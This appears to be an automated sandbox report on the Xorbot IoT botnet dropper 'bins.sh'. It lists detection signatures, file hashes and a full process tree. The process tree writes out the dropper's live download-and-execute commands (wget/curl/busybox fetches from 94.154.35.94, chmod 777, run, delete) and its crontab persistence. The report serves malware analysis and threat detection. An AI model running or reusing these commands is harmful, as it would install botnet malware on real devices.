Analysis

  • max time kernel
    177s
  • max time network
    179s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/01/2025, 01:02

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-bdsfpsyqaq
  • SHA256 e32c15488bbc990e79e9fa835f7838b1669ffef94c3c67a523849ee4974650aa
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1371) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Writes file to tmp directory
          PID:736
        • /bin/chmod
          chmod 777 WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          ./WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Writes file to tmp directory
            PID:762
          • /bin/chmod
            chmod 777 kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            ./kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
            • Executes dropped EXE
            PID:771
          • /bin/rm
            rm kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
            2⤵
              PID:775
            • /usr/bin/wget
              wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:776
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:794
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:825
            • /bin/chmod
              chmod 777 y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • File and Directory Permissions Modification
              PID:826
            • /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              ./y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:827
            • /bin/rm
              rm y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
              2⤵
              • System Network Configuration Discovery
              PID:829
            • /usr/bin/wget
              wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:830
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:831
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Writes file to tmp directory
              PID:832
            • /bin/chmod
              chmod 777 PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • File and Directory Permissions Modification
              PID:833
            • /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              ./PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
              • Executes dropped EXE
              PID:834
            • /bin/rm
              rm PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
              2⤵
                PID:836
              • /usr/bin/wget
                wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:837
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:838
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Writes file to tmp directory
                PID:839
              • /bin/chmod
                chmod 777 vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • File and Directory Permissions Modification
                PID:840
              • /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                ./vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                • Executes dropped EXE
                PID:841
              • /bin/rm
                rm vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                2⤵
                  PID:843
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Writes file to tmp directory
                  PID:844
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Writes file to tmp directory
                  PID:845
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Writes file to tmp directory
                  PID:846
                • /bin/chmod
                  chmod 777 FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • File and Directory Permissions Modification
                  PID:847
                • /tmp/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  ./FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                  • Executes dropped EXE
                  PID:848
                • /bin/rm
                  rm FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                  2⤵
                    PID:850
                  • /usr/bin/wget
                    wget http://94.154.35.94/bins/MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /usr/bin/curl
                    curl -O http://94.154.35.94/bins/MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    2⤵
                    • Writes file to tmp directory
                    PID:852
                  • /bin/busybox
                    /bin/busybox wget http://94.154.35.94/bins/MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    2⤵
                    • Writes file to tmp directory
                    PID:853
                  • /bin/chmod
                    chmod 777 MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    2⤵
                    • File and Directory Permissions Modification
                    PID:854
                  • /tmp/MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    ./MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    2⤵
                    • Executes dropped EXE
                    PID:855
                  • /bin/rm
                    rm MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                    2⤵
                      PID:857
                    • /usr/bin/wget
                      wget http://94.154.35.94/bins/W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      2⤵
                      • Writes file to tmp directory
                      PID:858
                    • /usr/bin/curl
                      curl -O http://94.154.35.94/bins/W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      2⤵
                      • Writes file to tmp directory
                      PID:859
                    • /bin/busybox
                      /bin/busybox wget http://94.154.35.94/bins/W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      ./W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        2⤵
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        2⤵
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://94.154.35.94/bins/QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        2⤵
                        • Writes file to tmp directory
                        PID:867
                      • /bin/chmod
                        chmod 777 QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:868
                      • /tmp/QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        ./QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        2⤵
                        • Executes dropped EXE
                        PID:869
                      • /bin/rm
                        rm QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                        2⤵
                          PID:871
                        • /usr/bin/wget
                          wget http://94.154.35.94/bins/6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                          2⤵
                          • Writes file to tmp directory
                          PID:872
                        • /usr/bin/curl
                          curl -O http://94.154.35.94/bins/6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:873
                        • /bin/busybox
                          /bin/busybox wget http://94.154.35.94/bins/6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                          2⤵
                          • Writes file to tmp directory
                          PID:874
                        • /bin/chmod
                          chmod 777 6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                          2⤵
                          • File and Directory Permissions Modification
                          PID:875
                        • /tmp/6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                          ./6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:876
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:878
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:879
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:880
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:881
                            • /bin/rm
                              rm 6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                              2⤵
                                PID:883
                              • /usr/bin/wget
                                wget http://94.154.35.94/bins/P7q4vSwEJyoxwj5XJlolv02BXffGqy1NTS
                                2⤵
                                  PID:886

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    6aArBHqrtANK2G8i9frlz8JgMW7iFM183B

                                    • Path /tmp/6aArBHqrtANK2G8i9frlz8JgMW7iFM183B
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP

                                    FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC

                                    • Path /tmp/FljVdRLKWKvcp1k2koOUTzIz13u31b0qoC
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP

                                    MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP

                                    • Path /tmp/MOiG8dUPgbP7MjEB9fy7aaeqmC5nIABwHP
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq

                                    • Path /tmp/PZ2qFEmm5hbnM3nWYpAm2LhwJFy27TAdgq
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6

                                    • Path /tmp/QHyLFQBvNt7NfT5ccjq4w9zVhOvmR9ufF6
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX

                                    • Path /tmp/W4OU7FiuSTV42W0CuQhOcGfh9Xda5s65AX
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT

                                    • Path /tmp/WROJsu6gclQuR9RlNAs0g9yCmVcXDGVCWT
                                    • Size 107KB
                                    • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                    • MD5 SHA1 SHA512 SSDEEP

                                    kTS5THy1roKMaChioUIBOHC1AFAejFOpJb

                                    • Path /tmp/kTS5THy1roKMaChioUIBOHC1AFAejFOpJb
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP

                                    vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH

                                    • Path /tmp/vVOkpfPrTzhuZDIqqPAXGGIvs88vh1gBiH
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE

                                    • Path /tmp/y8Yxvbs75gJQiJeHv1qhAR2PkTiP6NwjsE
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.Y5oTvu

                                    • Path /var/spool/cron/crontabs/tmp.Y5oTvu
                                    • Size 210B
                                    • SHA256 91323349d4cad873f64cc6cab20f71c8bf5b0df193fe8ae2a4d507ed9ee6424b
                                    • MD5 SHA1 SHA512